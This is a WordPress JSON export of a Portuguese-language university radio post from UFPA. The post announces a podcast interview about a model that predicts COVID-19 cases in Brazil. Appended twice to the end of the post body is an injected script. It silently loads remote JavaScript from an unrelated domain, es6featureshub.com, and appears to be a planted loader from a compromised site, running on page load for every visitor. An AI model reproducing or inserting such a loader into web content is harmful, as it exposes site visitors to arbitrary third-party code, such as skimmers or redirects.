{"id":7694,"date":"2020-10-13T08:00:54","date_gmt":"2020-10-13T11:00:54","guid":{"rendered":"http:\/\/radio.ufpa.br\/?p=7694"},"modified":"2025-10-21T11:45:46","modified_gmt":"2025-10-21T14:45:46","slug":"modelo-de-predicao-de-casos-do-novo-coronavirus-no-brasil","status":"publish","type":"post","link":"https:\/\/radio.ufpa.br\/index.php\/universidade-multicampi\/modelo-de-predicao-de-casos-do-novo-coronavirus-no-brasil\/","title":{"rendered":"Modelo de predi\u00e7\u00e3o de casos do novo Coronav\u00edrus no Brasil"},"content":{"rendered":"<!--[if lt IE 9]><script>document.createElement('audio');<\/script><![endif]-->\n\t<div class=\"wp-playlist wp-audio-playlist wp-playlist-light\">\n\t\t\t<div class=\"wp-playlist-current-item\"><\/div>\n\t\t<audio controls=\"controls\" preload=\"none\" width=\"1178\"\n\t\t\t><\/audio>\n\t<div class=\"wp-playlist-next\"><\/div>\n\t<div class=\"wp-playlist-prev\"><\/div>\n\t<noscript>\n\t<ol>\n\t\t<li><a href='https:\/\/radio.ufpa.br\/wp-content\/uploads\/2020-2\/UNIVERSIDADE%20MULTICAMPI%20-%20MODELO%20DE%20PREDI\u00c7\u00c3O%20DOS%20CASOS%20DO%20NOVO%20CORONAVIRUS%20-%2013.10.20.mp3'>Universidade Multicampi - Modelo de predi\u00e7\u00e3o de casos do novo Coronav\u00edrus no Brasil<\/a><\/li>\t<\/ol>\n\t<\/noscript>\n\t<script type=\"application\/json\" class=\"wp-playlist-script\">{\"type\":\"audio\",\"tracklist\":true,\"tracknumbers\":true,\"images\":true,\"artists\":true,\"tracks\":[{\"src\":\"https:\\\/\\\/radio.ufpa.br\\\/wp-content\\\/uploads\\\/2020-2\\\/UNIVERSIDADE MULTICAMPI - MODELO DE PREDI\\u00c7\\u00c3O DOS CASOS DO NOVO CORONAVIRUS - 13.10.20.mp3\",\"type\":\"audio\\\/mpeg\",\"title\":\"Universidade Multicampi - Modelo de predi\\u00e7\\u00e3o de casos do novo Coronav\\u00edrus no Brasil\",\"caption\":\"\",\"description\":\"\\\"UNIVERSIDADE MULTICAMPI - MODELO DE PREDI\\u00c7\\u00c3O DOS CASOS DO NOVO CORONAVIRUS - 13.10.20\\\". Genre: Other.\",\"meta\":{\"artist\":\"R\\u00e1dio Web UFPA\",\"album\":\"Universidade Multicampi\",\"genre\":\"Other\",\"length_formatted\":\"21:38\"},\"image\":{\"src\":\"https:\\\/\\\/radio.ufpa.br\\\/wp-includes\\\/images\\\/media\\\/audio.svg\",\"width\":48,\"height\":64},\"thumb\":{\"src\":\"https:\\\/\\\/radio.ufpa.br\\\/wp-includes\\\/images\\\/media\\\/audio.svg\",\"width\":48,\"height\":64}}]}<\/script>\n<\/div>\n\t\n<p>Nesta edi\u00e7\u00e3o do Universidade Multicampi conhe\u00e7a um projeto desenvolvido por professores do campus da UFPA em Camet\u00e1 que prop\u00f5e um modelo de predi\u00e7\u00e3o de casos do novo coronav\u00edrus no Brasil. O nosso entrevistado \u00e9 o professor da Faculdade de Sistemas de Informa\u00e7\u00e3o e mestre em Ci\u00eancia da Computa\u00e7\u00e3o, Elton Sarmanho Siqueira.<\/p>\n<p>A pesquisa tem como diferencial a coleta dados da din\u00e2mica da popula\u00e7\u00e3o para extrair par\u00e2metros epidemiol\u00f3gicos e, assim, estimar o aparecimento de casos de Covid-19 em um horizonte de curto prazo. O estudo elaborado foi recentemente publicado na revista cient\u00edfica <a href=\"https:\/\/latamt.ieeer9.org\/index.php\/transactions\/article\/view\/4327\">IEEE Latin America Transactions<\/a> e apresentou efic\u00e1cia diante, por exemplo, dos dados reais de contamina\u00e7\u00e3o disponibilizados pelo Minist\u00e9rio da Sa\u00fade.<\/p>\n<p>De acordo com Elton Sarmanho, o estudo \u00e9 uma demonstra\u00e7\u00e3o da contribui\u00e7\u00e3o que a ci\u00eancia tem dado para a gest\u00e3o da pandemia. \u201cO nosso trabalho estima cen\u00e1rios de sete dias. A import\u00e2ncia desse tipo de trabalho \u00e9 que ele possa fornecer dados com uma grande taxa de acerto e confi\u00e1veis para que os gestores p\u00fablicos possam ter uma vis\u00e3o r\u00e1pida e com baixo \u00edndice de erro diante da magnitude do problema para que, de forma correta e embasada, eles possam implementar as pol\u00edticas p\u00fablicas que buscam minimizar o impacto dessa dissemina\u00e7\u00e3o da Covid\u201d, afirma o pesquisador.<\/p>\n<p>Ao longo da entrevista, o professor explica como s\u00e3o desenvolvidos os modelos matem\u00e1ticos de predi\u00e7\u00e3o de casos do novo coronav\u00edrus e\u00a0 como eles t\u00eam sido utilizados, al\u00e9m de abordar os desafios de fazer ci\u00eancia em um cen\u00e1rio pol\u00edtico que desvaloriza a produzir conhecimento. Para conhecer mais sobre esse projeto, confira o programa.<\/p>\n<p>Apresenta\u00e7\u00e3o: Fabr\u00edcio Queiroz<br \/>\nProdu\u00e7\u00e3o e roteiro: Ana Rosa Batista e Fabr\u00edcio Queiroz<br \/>\nGrava\u00e7\u00e3o e montagem: Jo\u00e3o Nilo Ferreira<br \/>\nSupervis\u00e3o e edi\u00e7\u00e3o: Elissandra Batista e Fabr\u00edcio Queiroz<\/p>\n<p>O Universidade Multicampi vai ao ar \u00e0s ter\u00e7as-feiras, \u00e0s 10h e 21h.<br \/>\nHor\u00e1rios alternativos: Quinta-feira, \u00e0s 15h; e S\u00e1bado, \u00e0s 19h<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p> &#8230; <a title=\"Modelo de predi\u00e7\u00e3o de casos do novo Coronav\u00edrus no Brasil\" class=\"read-more\" href=\"https:\/\/radio.ufpa.br\/index.php\/universidade-multicampi\/modelo-de-predicao-de-casos-do-novo-coronavirus-no-brasil\/\" aria-label=\"Read more about Modelo de predi\u00e7\u00e3o de casos do novo Coronav\u00edrus no Brasil\">Ler mais<\/a><\/p>\n","protected":false},"author":2,"featured_media":7698,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_exactmetrics_skip_tracking":false,"_monsterinsights_skip_tracking":false,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","enabled":false},"version":2}},"categories":[38],"tags":[],"class_list":["post-7694","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-universidade-multicampi"],"acf":[],"yoast_head":"<!-- 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